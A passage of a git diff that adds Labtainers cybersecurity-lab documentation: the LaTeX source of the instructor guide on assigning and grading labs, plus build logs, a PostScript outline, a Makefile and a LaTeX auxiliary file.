29i,6n,30p,942b,380s stack positions out of 5000i,500n,10000p,200000b,80000s + +Output written on labtainer-instructor.pdf (4 pages, 60396 bytes). +PDF statistics: + 83 PDF objects out of 1000 (max. 8388607) + 72 compressed objects within 1 object stream + 13 named destinations out of 1000 (max. 500000) + 65 words of extra memory for PDF output out of 10000 (max. 10000000) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/instructor/labtainer-instructor.out.ps b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/instructor/labtainer-instructor.out.ps new file mode 100644 index 000000000..23268d60e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/instructor/labtainer-instructor.out.ps @@ -0,0 +1,40 @@ +%! +/pdfmark where{pop} +{/globaldict where{pop globaldict}{userdict}ifelse/pdfmark/cleartomark load put} +ifelse +[ +/Title(Introduction) +/Count -2 +/Action/GoTo/Dest(section.1)cvn +/OUT pdfmark +[ +/Title(Assigning a Lab) +/Action/GoTo/Dest(subsection.1.1)cvn +/OUT pdfmark +[ +/Title(Assessing a Lab) +/Count -1 +/Action/GoTo/Dest(subsection.1.2)cvn +/OUT pdfmark +[ +/Title(Review artifact details) +/Action/GoTo/Dest(subsubsection.1.2.1)cvn +/OUT pdfmark +[ +/Title(Managing Labtainer Installations and Updates) +/Count -1 +/Action/GoTo/Dest(section.2)cvn +/OUT pdfmark +[ +/Title(Suggestions for student workflow) +/Action/GoTo/Dest(subsection.2.1)cvn +/OUT pdfmark +[ +/Title(LMS Assignment Collection) +/Count -1 +/Action/GoTo/Dest(appendix.A)cvn +/OUT pdfmark +[ +/Title(Sakai) +/Action/GoTo/Dest(subsection.A.1)cvn +/OUT pdfmark diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/instructor/labtainer-instructor.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/instructor/labtainer-instructor.pdf new file mode 100644 index 000000000..2f7ab7f1b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/instructor/labtainer-instructor.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/instructor/labtainer-instructor.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/instructor/labtainer-instructor.tex new file mode 100644 index 000000000..51ae9ec84 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/instructor/labtainer-instructor.tex @@ -0,0 +1,169 @@ +\documentclass[12pt]{article} +\usepackage{geometry} +\geometry{a4paper, total={170mm,257mm},left=20mm, top=20mm, } +\usepackage[colorlinks=true,linkcolor=blue,urlcolor=black]{hyperref} +\usepackage{bookmark} +\usepackage[autostyle, english = american]{csquotes} +\usepackage{appendix} +\begin{document} +\title {Labtainer Instructor Guide\vspace{-4ex}} +\maketitle + +\section {Introduction} +This manual is intended for use by instructors who assign and/or grade +labs using Labtainers. +Labtainers assume you have a Linux system, e.g., a virtual machine (VM). +The easiest path is to use our pre-built VM available at the Labtainer +website \url{https://my.nps.edu/web/c3o/virtual-machine-images}. +Alternately, refer to +in Appendix A of the \underline{Labtainer Student Guide} for installation of VirtualBox +and a Linux system. +Note that any Linux system can be used as long as it supports Docker. +If Labtainers is to be used on a Linux system other than the pre-built VM, +refer to the \underline{Labtainer Student Guide} for information on +installing Labtainers. + +Labtainers provide a consistent execution environment for performing +laboratory exercises, and can include execution of several different +computers interconnected via virtual networks. Refer to our published +papers at \url{https://my.nps.edu/web/c3o/labtainers} for additional information +on the use of Labtainers. And see the \underline{Lab Designer User Guide}" +at \url{https://my.nps.edu/documents/107523844/109121513/labdesigner.pdf} for +information on creating and maintaining Labtainer exercises. + +\subsection{Assigning a Lab} +Student instructions for using Labtainers are in the \underline{Labtainer Student Guide}. +Students work from the {\tt labtainer-student} directory, i.e., +\begin{verbatim} + cd ~/labtainer/trunk/scripts/labtainer-student +\end{verbatim} +Available labs are listed via the {\tt labtainer} script: +\begin{verbatim} + labtainer +\end{verbatim} +\noindent Start a lab by providing its name as an argument to the {\tt labtainer} command. +This will typically display a link to a lab manual, or will display a lab manual in one of +the resulting virtual terminals. You can interact with the resulting computers just as a +student would. + +\subsection{Assessing a Lab} +When the student stops a lab, i.e., using {\tt stoplab}, Labtainers creates a zip file of +student artifacts (including lab reports) and then displays the path to this zip file to +the student. The easiest way for the student to forward this zip file to you is by starting +a browser on the Linux VM and either emailing you the zip file, or uploading the file +into an LMS, (e.g., Sakai). Alternately, the student can define a shared folder in the VM +and copy the zip to the host computer. + +Collect all of the lab zip files from each student into your Labtainer transfer directory, which +is typically at +\begin{verbatim} + ~/labtainer_xfer/ +\end{verbatim} +\noindent where labname is the name of the lab. Do not unzip the files. Alternately student +assignments can be bulk-collected from a learning management system (LMS) per Appendix \ref{lms collection} +and the resulting zip would be copied into the +Labtainer transfer directory. Again, do not unzip files and do not change the file names of zip files. + +Instructor assessment of labs takes place from the {\tt labtainer-instructor} directory, i.e., +\begin{verbatim} + cd ~/labtainer/trunk/scripts/labtainer-instructor +\end{verbatim} + +\noindent Use the {\tt gradelab} command to assess results for a given lab: +\begin{verbatim} + gradelab +\end{verbatim} +\noindent A table of lab results with one row per student and +a column for each goal will be displayed. A description of the goals follows the table. +Note that not all labs include automated assessment. For those labs, you will see this +messsage: +\begin{verbatim} + No automated assessment for this lab +\end{verbatim} +\noindent Even when no automated assessment is performed, you can still observe student performance +artifacts, e.g., the {\tt .bash\_history} file as described below in \ref{review-artifacts}. + +Student reports (if any) are copied into +\begin{verbatim} + ~/labtainer_xfer//docs +\end{verbatim} +\noindent on the Linux host. If LMS assignment collection is used, then student reports should +be looked for in +\begin{verbatim} + ~/labtainer_xfer//reports +\end{verbatim} +\noindent which also includes reports separately uploaded into the LMS. + +\subsubsection{Review artifact details} +You can view all student results, including their original artifacts by using the {\tt -d} flag +with the {\tt gradelab} command. This results in a virtual terminal connected to a grading +container that contains all student artifacts and results. If you have not first run the +{\tt gradelab} command without the ``-d'' option, run {\tt instructor.py} from within the +virtual terminal to cause the zip files to be extracted. A student's home directory can +then be found in +\begin{verbatim} +/..student +\end{verbatim} +\noindent There you will find the {\tt .bash\_history} file along with the student-created files. +Student artifacts collected by the framework are found in +\begin{verbatim} +/..student/.local/result +\end{verbatim} + +\noindent The {\tt -d} option is also used when debugging automated assessment configuration +files. You can create additional virtual terminals into the grading container by reissuing +the gradelab command with the {\tt -a} flag. When you are finished, or wish to stop working, type: +\begin{verbatim} + stopgrader +\end{verbatim} + +\section{Managing Labtainer Installations and Updates} +Any given Labtainers installation can be brought up to date to the latest version by using the +\begin{verbatim} + update-labtainer.sh +\end{verbatim} +\noindent command from the {\tt labtainer-student} directory. The current version of a Labtainer installation is seen by using: +\begin{verbatim} + labtainer -v +\end{verbatim} +\noindent +The first time any given lab exercise is started, the latest version of that lab is automatically pulled from +the Docker Hub registry. +Note however that any given lab is not updated by the {\tt update-labtainer.sh} command once the lab has been started. +To update a specific lab to the latest version after it has been started the previous version of that lab must be deleted +using: +\begin{verbatim} + removelab.py +\end{verbatim} +\noindent The next time the lab is started, the latest version will be retrieved from the Docker registry. + +\subsection{Suggestions for student workflow} +A student's work on any given lab is preserved until and unless the student restarts the lab using the ``-r'' +option on the {\tt labtainer -r} command. When taking a break from work on a lab, the student can +either stop the lab using {\tt stoplab}, or simply pause the VM. However, if the student wishes to perform other +Labtainer-related work on the VM, (e.g., revisit a previous lab), they should first use {\tt stoplab} for the current +lab. When the restart the lab, none of their work will be lost. + + +\newpage +\appendix +\section{\\LMS Assignment Collection} +\label{lms collection} +\subsection{Sakai} +In the Sakai Assignments section, select the ``In / New'' entry for the appropriate assignment. +The resulting page should enumerate each student who has submitted an assignment. In the upper right, +click the ``Download All'' link, and then click the ``Student submission attachment(s)'' option and +click the ``Download'' button. Copy the resulting zip into the lab transfer directory +on the Linux host, i.e., +\begin{verbatim} + ~/labtainer_xfer/ +\end{verbatim} +\noindent Do not unzip the file and do not change its file name. +You can then run the {\tt gradelab } command from the {\tt labtainer-instructor} directory. +In addition to the assessment summary, any student lab reports will be available in: +\begin{verbatim} + ~/labtainer_xfer//reports/ +\end{verbatim} +\noindent Those reports will include any that the student separately uploaded into Sakai (it is +important to remind students to NOT change the name of lab report documents.) +\end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/ExternalNetworks.jpg b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/ExternalNetworks.jpg new file mode 100644 index 000000000..3da071a97 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/ExternalNetworks.jpg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/ExternalNetworks.odg b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/ExternalNetworks.odg new file mode 100644 index 000000000..1719ce505 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/ExternalNetworks.odg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/Makefile new file mode 100644 index 000000000..a925edd48 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/Makefile @@ -0,0 +1,6 @@ +labdesigner.pdf: labdesigner.tex + latex labdesigner + pdflatex labdesigner +clean: + rm -fr auto + rm -fr labdesigner.aux labdesigner.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/dmz-lab.jpg b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/dmz-lab.jpg new file mode 100644 index 000000000..e2a3b1e02 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/dmz-lab.jpg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/labdesigner.aux b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/labdesigner.aux new file mode 100644 index 000000000..ab207bd11 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/labdesigner.aux @@ -0,0 +1,228 @@ +\relax +\providecommand\hyper@newdestlabel[2]{} +\providecommand\BKM@entry[2]{} +\providecommand\HyperFirstAtBeginDocument{\AtBeginDocument} +\HyperFirstAtBeginDocument{\ifx\hyper@anchor\@undefined +\global\let\oldcontentsline\contentsline +\gdef\contentsline#1#2#3#4{\oldcontentsline{#1}{#2}{#3}} +\global\let\oldnewlabel\newlabel +\gdef\newlabel#1#2{\newlabelxx{#1}#2} +\gdef\newlabelxx#1#2#3#4#5#6{\oldnewlabel{#1}{{#2}{#3}}} +\AtEndDocument{\ifx\hyper@anchor\@undefined +\let\contentsline\oldcontentsline +\let\newlabel\oldnewlabel +\fi} +\fi} +\global\let\hyper@last\relax +\gdef\HyperFirstAtBeginDocument#1{#1} +\providecommand\HyField@AuxAddToFields[1]{} +\providecommand\HyField@AuxAddToCoFields[2]{} +\BKM@entry{id=1,dest={73656374696F6E2E31},srcline={23}}{496E74726F64756374696F6E} +\BKM@entry{id=2,dest={73756273656374696F6E2E312E31},srcline={36}}{42656E6566697473206F66204C61627461696E657273} +\BKM@entry{id=3,dest={73756273656374696F6E2E312E32},srcline={91}}{4F627461696E696E6720746865204C61627461696E657220646576656C6F706D656E74206B6974} +\@writefile{toc}{\contentsline {section}{\numberline {1}Introduction}{3}{section.1}} +\@writefile{toc}{\contentsline {subsection}{\numberline {1.1}Benefits of Labtainers}{3}{subsection.1.1}} +\@writefile{toc}{\contentsline {subsection}{\numberline {1.2}Obtaining the Labtainer development kit}{3}{subsection.1.2}} +\BKM@entry{id=4,dest={73756273656374696F6E2E312E33},srcline={112}}{436F6E74656E74206F662074686973206775696465} +\BKM@entry{id=5,dest={73656374696F6E2E32},srcline={132}}{4F76657276696577206F66207468652073747564656E7420656E7669726F6E6D656E7420616E6420776F726B666C6F77} +\@writefile{lof}{\contentsline {figure}{\numberline {1}{\ignorespaces Example Labtainers network topology}}{4}{figure.1}} +\newlabel{fig:dmz}{{1}{4}{Example Labtainers network topology}{figure.1}{}} +\@writefile{toc}{\contentsline {subsection}{\numberline {1.3}Content of this guide}{4}{subsection.1.3}} +\@writefile{toc}{\contentsline {section}{\numberline {2}Overview of the student environment and workflow}{5}{section.2}} +\newlabel{student environment}{{2}{5}{Overview of the student environment and workflow}{section.2}{}} +\BKM@entry{id=6,dest={73656374696F6E2E33},srcline={197}}{4372656174696E67206E6577206C616273} +\BKM@entry{id=7,dest={73756273656374696F6E2E332E31},srcline={220}}{43726561746520746865206669727374206C616220636F6D7075746572} +\BKM@entry{id=8,dest={73756273656374696F6E2E332E32},srcline={248}}{54657374696E6720746865206E6577206C6162} +\@writefile{toc}{\contentsline {section}{\numberline {3}Creating new labs}{6}{section.3}} +\newlabel{sec:new_labs}{{3}{6}{Creating new labs}{section.3}{}} +\@writefile{toc}{\contentsline {subsection}{\numberline {3.1}Create the first lab computer}{6}{subsection.3.1}} +\BKM@entry{id=9,dest={73756273656374696F6E2E332E33},srcline={311}}{4D756C7469706C6520636F6E7461696E657273} +\@writefile{toc}{\contentsline {subsection}{\numberline {3.2}Testing the new lab}{7}{subsection.3.2}} +\BKM@entry{id=10,dest={73656374696F6E2E34},srcline={328}}{446566696E696E6720746865206C616220657865637574696F6E20656E7669726F6E6D656E74} +\BKM@entry{id=11,dest={73756273656374696F6E2E342E31},srcline={347}}{446F636B65722066696C6573} +\@writefile{toc}{\contentsline {subsection}{\numberline {3.3}Multiple containers}{8}{subsection.3.3}} +\@writefile{toc}{\contentsline {section}{\numberline {4}Defining the lab execution environment}{8}{section.4}} +\newlabel{execution environment}{{4}{8}{Defining the lab execution environment}{section.4}{}} +\@writefile{toc}{\contentsline {subsection}{\numberline {4.1}Docker files}{8}{subsection.4.1}} +\BKM@entry{id=12,dest={73756273656374696F6E2E342E32},srcline={397}}{436F6E7461696E657220646566696E6974696F6E7320696E2073746172742E636F6E666967} +\@writefile{toc}{\contentsline {subsection}{\numberline {4.2}Container definitions in start.config}{9}{subsection.4.2}} +\newlabel{start config}{{4.2}{9}{Container definitions in start.config}{subsection.4.2}{}} +\BKM@entry{id=13,dest={73756273656374696F6E2E342E33},srcline={507}}{4C61622D73706563696669632066696C657320696E207468652073747564656E74277320686F6D65206469726563746F7279} +\@writefile{toc}{\contentsline {subsection}{\numberline {4.3}Lab-specific files in the student's home directory}{11}{subsection.4.3}} +\newlabel{home files}{{4.3}{11}{Lab-specific files in the student's home directory}{subsection.4.3}{}} +\BKM@entry{id=14,dest={73756273756273656374696F6E2E342E332E31},srcline={528}}{4C61726765206F72206E756D65726F75732066696C657320696E2074686520686F6D65206469726563746F7279} +\BKM@entry{id=15,dest={73756273656374696F6E2E342E34},srcline={556}}{4C61622D73706563696669632073797374656D2066696C6573} +\BKM@entry{id=16,dest={73756273656374696F6E2E342E35},srcline={582}}{53797374656D207365727669636573} +\@writefile{toc}{\contentsline {subsubsection}{\numberline {4.3.1}Large or numerous files in the home directory}{12}{subsubsection.4.3.1}} +\newlabel{large files}{{4.3.1}{12}{Large or numerous files in the home directory}{subsubsection.4.3.1}{}} +\@writefile{toc}{\contentsline {subsection}{\numberline {4.4}Lab-specific system files}{12}{subsection.4.4}} +\BKM@entry{id=17,dest={73756273656374696F6E2E342E36},srcline={596}}{496E737472756374696F6E7320666F722053747564656E7473} +\BKM@entry{id=18,dest={73756273656374696F6E2E342E37},srcline={616}}{52756E6E696E672070726F6772616D7320696E205669727475616C205465726D696E616C73} +\@writefile{toc}{\contentsline {subsection}{\numberline {4.5}System services}{13}{subsection.4.5}} +\@writefile{toc}{\contentsline {subsection}{\numberline {4.6}Instructions for Students}{13}{subsection.4.6}} +\newlabel{instructions}{{4.6}{13}{Instructions for Students}{subsection.4.6}{}} +\@writefile{toc}{\contentsline {subsection}{\numberline {4.7}Running programs in Virtual Terminals}{13}{subsection.4.7}} +\newlabel{student start}{{4.7}{13}{Running programs in Virtual Terminals}{subsection.4.7}{}} +\BKM@entry{id=19,dest={73756273656374696F6E2E342E38},srcline={664}}{46696E616C206C616220656E7669726F6E6D656E74206669787570} +\BKM@entry{id=20,dest={73756273656374696F6E2E342E39},srcline={682}}{4175746F6D6174696320636F7079696E672066696C65732066726F6D20636F6E7461696E65727320746F2074686520686F7374} +\BKM@entry{id=21,dest={73656374696F6E2E35},srcline={692}}{506172616D65746572697A696E672061206C6162} +\@writefile{toc}{\contentsline {subsection}{\numberline {4.8}Final lab environment fixup}{14}{subsection.4.8}} +\@writefile{toc}{\contentsline {subsection}{\numberline {4.9}Automatic copying files from containers to the host}{14}{subsection.4.9}} +\BKM@entry{id=22,dest={73756273656374696F6E2E352E31},srcline={717}}{506172616D65746572697A6174696F6E20636F6E66696775726174696F6E2066696C652073796E746178} +\@writefile{toc}{\contentsline {section}{\numberline {5}Parameterizing a lab}{15}{section.5}} +\newlabel{parameterize}{{5}{15}{Parameterizing a lab}{section.5}{}} +\@writefile{toc}{\contentsline {subsection}{\numberline {5.1}Parameterization configuration file syntax}{15}{subsection.5.1}} +\BKM@entry{id=23,dest={73756273656374696F6E2E352E32},srcline={803}}{53796E6368726F6E697A696E67207374617274757020616E6420706172616D65746572697A6174696F6E} +\BKM@entry{id=24,dest={73756273656374696F6E2E352E33},srcline={824}}{506172616D65746572697A696E672073746172742E636F6E666967} +\BKM@entry{id=25,dest={73756273656374696F6E2E352E34},srcline={829}}{53696D706C6520506172616D65746572697A6174696F6E20666F7220436865636B696E67204F776E2D776F726B} +\BKM@entry{id=26,dest={73656374696F6E2E36},srcline={838}}{4175746F6D61746564206173736573736D656E74206F662073747564656E74206C616273} +\@writefile{toc}{\contentsline {subsection}{\numberline {5.2}Synchronizing startup and parameterization}{17}{subsection.5.2}} +\@writefile{toc}{\contentsline {subsection}{\numberline {5.3}Parameterizing start.config}{17}{subsection.5.3}} +\@writefile{toc}{\contentsline {subsection}{\numberline {5.4}Simple Parameterization for Checking Own-work}{17}{subsection.5.4}} +\@writefile{toc}{\contentsline {section}{\numberline {6}Automated assessment of student labs}{17}{section.6}} +\newlabel{assessment}{{6}{17}{Automated assessment of student labs}{section.6}{}} +\BKM@entry{id=27,dest={73756273656374696F6E2E362E31},srcline={859}}{41727469666163742066696C6573} +\BKM@entry{id=28,dest={73756273756273656374696F6E2E362E312E31},srcline={878}}{436170747572696E6720737464696E20616E64207374646F7574} +\BKM@entry{id=29,dest={73756273756273656374696F6E2E362E312E32},srcline={905}}{436170747572696E672070726F6772616D2066696C65206F7574707574} +\@writefile{toc}{\contentsline {subsection}{\numberline {6.1}Artifact files}{18}{subsection.6.1}} +\newlabel{artifact files}{{6.1}{18}{Artifact files}{subsection.6.1}{}} +\@writefile{toc}{\contentsline {subsubsection}{\numberline {6.1.1}Capturing stdin and stdout}{18}{subsubsection.6.1.1}} +\newlabel{stdin and stdout}{{6.1.1}{18}{Capturing stdin and stdout}{subsubsection.6.1.1}{}} +\BKM@entry{id=30,dest={73756273756273656374696F6E2E362E312E33},srcline={934}}{4261736820486973746F7279} +\BKM@entry{id=31,dest={73756273756273656374696F6E2E362E312E34},srcline={939}}{53797374656D206C6F6773} +\BKM@entry{id=32,dest={73756273756273656374696F6E2E362E312E35},srcline={943}}{436170747572696E6720696E666F726D6174696F6E2061626F75742074686520656E7669726F6E6D656E74} +\@writefile{toc}{\contentsline {subsubsection}{\numberline {6.1.2}Capturing program file output}{19}{subsubsection.6.1.2}} +\newlabel{program output}{{6.1.2}{19}{Capturing program file output}{subsubsection.6.1.2}{}} +\@writefile{toc}{\contentsline {subsubsection}{\numberline {6.1.3}Bash History}{19}{subsubsection.6.1.3}} +\@writefile{toc}{\contentsline {subsubsection}{\numberline {6.1.4}System logs}{19}{subsubsection.6.1.4}} +\@writefile{toc}{\contentsline {subsubsection}{\numberline {6.1.5}Capturing information about the environment}{19}{subsubsection.6.1.5}} +\newlabel{precheck}{{6.1.5}{19}{Capturing information about the environment}{subsubsection.6.1.5}{}} +\BKM@entry{id=33,dest={73756273756273656374696F6E2E362E312E36},srcline={978}}{436170747572696E672066696C6520616363657373206576656E7473} +\BKM@entry{id=34,dest={73756273756273656374696F6E2E362E312E37},srcline={1020}}{47656E65726174696E6720726573756C74732075706F6E2073746F7070696E6720746865206C6162} +\@writefile{toc}{\contentsline {subsubsection}{\numberline {6.1.6}Capturing file access events}{20}{subsubsection.6.1.6}} +\newlabel{notify}{{6.1.6}{20}{Capturing file access events}{subsubsection.6.1.6}{}} +\BKM@entry{id=35,dest={73756273756273656374696F6E2E362E312E38},srcline={1037}}{4172746966616374206172636869766573} +\BKM@entry{id=36,dest={73756273656374696F6E2E362E32},srcline={1049}}{417274696661637420726573756C742076616C756573} +\@writefile{toc}{\contentsline {subsubsection}{\numberline {6.1.7}Generating results upon stopping the lab}{21}{subsubsection.6.1.7}} +\@writefile{toc}{\contentsline {subsubsection}{\numberline {6.1.8}Artifact archives}{21}{subsubsection.6.1.8}} +\@writefile{toc}{\contentsline {subsection}{\numberline {6.2}Artifact result values}{21}{subsection.6.2}} +\newlabel{results.config}{{6.2}{21}{Artifact result values}{subsection.6.2}{}} +\BKM@entry{id=37,dest={73756273756273656374696F6E2E362E322E31},srcline={1202}}{436F6E76657274696E672061727469666163742066696C6520666F726D617473} +\BKM@entry{id=38,dest={73756273656374696F6E2E362E33},srcline={1214}}{4576616C756174696E6720726573756C7473} +\@writefile{toc}{\contentsline {subsubsection}{\numberline {6.2.1}Converting artifact file formats}{24}{subsubsection.6.2.1}} +\@writefile{toc}{\contentsline {subsection}{\numberline {6.3}Evaluating results}{24}{subsection.6.3}} +\newlabel{goals.config}{{6.3}{24}{Evaluating results}{subsection.6.3}{}} +\BKM@entry{id=39,dest={73756273756273656374696F6E2E362E332E31},srcline={1389}}{4173736573736D656E74205265706F7274} +\BKM@entry{id=40,dest={73756273756273656374696F6E2E362E332E32},srcline={1399}}{446F63756D656E7420746865206D65616E696E67206F6620676F616C73} +\BKM@entry{id=41,dest={73756273656374696F6E2E362E34},srcline={1420}}{4173736573736D656E74206578616D706C6573} +\BKM@entry{id=42,dest={73756273756273656374696F6E2E362E342E31},srcline={1425}}{446F2061727469666163742066696C657320636F6E7461696E20737065636966696320737472696E67733F} +\@writefile{toc}{\contentsline {subsubsection}{\numberline {6.3.1}Assessment Report}{28}{subsubsection.6.3.1}} +\@writefile{toc}{\contentsline {subsubsection}{\numberline {6.3.2}Document the meaning of goals}{28}{subsubsection.6.3.2}} +\newlabel{document goals}{{6.3.2}{28}{Document the meaning of goals}{subsubsection.6.3.2}{}} +\@writefile{toc}{\contentsline {subsection}{\numberline {6.4}Assessment examples}{28}{subsection.6.4}} +\newlabel{examples}{{6.4}{28}{Assessment examples}{subsection.6.4}{}} +\BKM@entry{id=43,dest={73756273756273656374696F6E2E362E342E32},srcline={1445}}{436F6D706172652076616C7565206F662061206669656C642066726F6D20612073656C6563746564206C696E6520696E20616E2061727469666163742066696C65} +\BKM@entry{id=44,dest={73756273756273656374696F6E2E362E342E33},srcline={1462}}{4D7920646573697265642061727469666163747320617265206E6F7420696E20737464696E206F72207374646F75742C207468652070726F6772616D206F75747075747320612066696C65} +\BKM@entry{id=45,dest={73756273756273656374696F6E2E362E342E34},srcline={1465}}{44697374696E6775697368206C6F672066696C6520656E74726965732067656E657261746564206265666F726520616E6420616674657220636F6E66696775726174696F6E206368616E676573} +\@writefile{toc}{\contentsline {subsubsection}{\numberline {6.4.1}Do artifact files contain specific strings?}{29}{subsubsection.6.4.1}} +\@writefile{toc}{\contentsline {subsubsection}{\numberline {6.4.2}Compare value of a field from a selected line in an artifact file}{29}{subsubsection.6.4.2}} +\@writefile{toc}{\contentsline {subsubsection}{\numberline {6.4.3}My desired artifacts are not in stdin or stdout, the program outputs a file}{29}{subsubsection.6.4.3}} +\@writefile{toc}{\contentsline {subsubsection}{\numberline {6.4.4}Distinguish log file entries generated before and after configuration changes}{29}{subsubsection.6.4.4}} +\newlabel{time delimeter}{{6.4.4}{29}{Distinguish log file entries generated before and after configuration changes}{subsubsection.6.4.4}{}} +\BKM@entry{id=46,dest={73756273756273656374696F6E2E362E342E35},srcline={1526}}{44656C696D6974696E67206C6F6773206279207374617274696E67207365727669636573} +\@writefile{toc}{\contentsline {subsubsection}{\numberline {6.4.5}Delimiting logs by starting services}{30}{subsubsection.6.4.5}} +\newlabel{time delimiter services}{{6.4.5}{30}{Delimiting logs by starting services}{subsubsection.6.4.5}{}} +\BKM@entry{id=47,dest={73756273756273656374696F6E2E362E342E36},srcline={1552}}{44656C696D6974696E672074696D65207573696E67206C6F672066696C6520656E7472696573} +\BKM@entry{id=48,dest={73756273656374696F6E2E362E35},srcline={1565}}{446562756767696E67206175746F6D61746564206173736573736D656E7420696E206C616273} +\BKM@entry{id=49,dest={73656374696F6E2E37},srcline={1597}}{4E6574776F726B696E67} +\@writefile{toc}{\contentsline {subsubsection}{\numberline {6.4.6}Delimiting time using log file entries}{31}{subsubsection.6.4.6}} +\@writefile{toc}{\contentsline {subsection}{\numberline {6.5}Debugging automated assessment in labs}{31}{subsection.6.5}} +\@writefile{toc}{\contentsline {section}{\numberline {7}Networking}{31}{section.7}} +\newlabel{networking}{{7}{31}{Networking}{section.7}{}} +\BKM@entry{id=50,dest={73756273656374696F6E2E372E31},srcline={1616}}{5265616C6973746963204E6574776F726B20526F7574696E6720616E6420444E53} +\BKM@entry{id=51,dest={73756273656374696F6E2E372E32},srcline={1639}}{436F6D6D756E69636174696E6720776974682065787465726E616C20686F737473206F7220564D73} +\@writefile{toc}{\contentsline {subsection}{\numberline {7.1}Realistic Network Routing and DNS}{32}{subsection.7.1}} +\@writefile{toc}{\contentsline {subsection}{\numberline {7.2}Communicating with external hosts or VMs}{32}{subsection.7.2}} +\newlabel{external hosts}{{7.2}{32}{Communicating with external hosts or VMs}{subsection.7.2}{}} +\BKM@entry{id=52,dest={73656374696F6E2E38},srcline={1672}}{4275696C64696E672C204D61696E7461696E696E6720616E64205075626C697368696E67204C616273} +\BKM@entry{id=53,dest={73756273656374696F6E2E382E31},srcline={1689}}{4E505320446576656C6F706D656E74204F7065726174696F6E73} +\@writefile{lof}{\contentsline {figure}{\numberline {2}{\ignorespaces Networking with external hosts.}}{33}{figure.2}} +\newlabel{fig:external hosts}{{2}{33}{Networking with external hosts}{figure.2}{}} +\@writefile{toc}{\contentsline {section}{\numberline {8}Building, Maintaining and Publishing Labs}{33}{section.8}} +\newlabel{publishing}{{8}{33}{Building, Maintaining and Publishing Labs}{section.8}{}} +\BKM@entry{id=54,dest={73756273656374696F6E2E382E32},srcline={1744}}{416C7465726E61746520726567697374727920666F722074657374696E67} +\@writefile{toc}{\contentsline {subsection}{\numberline {8.1}NPS Development Operations}{34}{subsection.8.1}} +\BKM@entry{id=55,dest={73756273656374696F6E2E382E33},srcline={1753}}{5265757365206F66206C617267652066696C652073657473} +\BKM@entry{id=56,dest={73756273656374696F6E2E382E34},srcline={1771}}{5061636B61676520736F757263657320666F722061707420616E642079756D} +\BKM@entry{id=57,dest={73756273656374696F6E2E382E35},srcline={1787}}{4C6F63616C652073657474696E6773} +\BKM@entry{id=58,dest={73756273656374696F6E2E382E36},srcline={1795}}{4C61622076657273696F6E73} +\@writefile{toc}{\contentsline {subsection}{\numberline {8.2}Alternate registry for testing}{35}{subsection.8.2}} +\@writefile{toc}{\contentsline {subsection}{\numberline {8.3}Reuse of large file sets}{35}{subsection.8.3}} +\newlabel{manifest}{{8.3}{35}{Reuse of large file sets}{subsection.8.3}{}} +\@writefile{toc}{\contentsline {subsection}{\numberline {8.4}Package sources for apt and yum}{35}{subsection.8.4}} +\newlabel{package sources}{{8.4}{35}{Package sources for apt and yum}{subsection.8.4}{}} +\@writefile{toc}{\contentsline {subsection}{\numberline {8.5}Locale settings}{35}{subsection.8.5}} +\BKM@entry{id=59,dest={73656374696F6E2E39},srcline={1836}}{4D756C74692D75736572204C61627461696E657273} +\BKM@entry{id=60,dest={73756273756273656374696F6E2E392E302E31},srcline={1866}}{4D756C74692D75736572204C61627461696E6572732C206F6E65204C61627461696E657220564D207065722073747564656E74} +\@writefile{toc}{\contentsline {subsection}{\numberline {8.6}Lab versions}{36}{subsection.8.6}} +\@writefile{toc}{\contentsline {section}{\numberline {9}Multi-user Labtainers}{36}{section.9}} +\newlabel{multi user}{{9}{36}{Multi-user Labtainers}{section.9}{}} +\@writefile{lof}{\contentsline {figure}{\numberline {3}{\ignorespaces Multi-user Labtainers with multiple instances of Labtainers.}}{37}{figure.3}} +\newlabel{fig:multi-multi}{{3}{37}{Multi-user Labtainers with multiple instances of Labtainers}{figure.3}{}} +\@writefile{lof}{\contentsline {figure}{\numberline {4}{\ignorespaces Multi-user Labtainers via SSH.}}{37}{figure.4}} +\newlabel{fig:multi-single}{{4}{37}{Multi-user Labtainers via SSH}{figure.4}{}} +\@writefile{toc}{\contentsline {subsubsection}{\numberline {9.0.1}Multi-user Labtainers, one Labtainer VM per student}{37}{subsubsection.9.0.1}} +\BKM@entry{id=61,dest={73756273756273656374696F6E2E392E302E32},srcline={1898}}{53696E676C65204C61627461696E65727320564D2077697468206D756C7469706C652073747564656E7473} +\BKM@entry{id=62,dest={73756273656374696F6E2E392E31},srcline={1922}}{4372656174696E6720636F6E666F726D616E74206D756C74692D75736572206C616273} +\@writefile{toc}{\contentsline {subsubsection}{\numberline {9.0.2}Single Labtainers VM with multiple students}{38}{subsubsection.9.0.2}} +\@writefile{toc}{\contentsline {subsection}{\numberline {9.1}Creating conformant multi-user labs}{38}{subsection.9.1}} +\newlabel{conformant multi-user}{{9.1}{38}{Creating conformant multi-user labs}{subsection.9.1}{}} 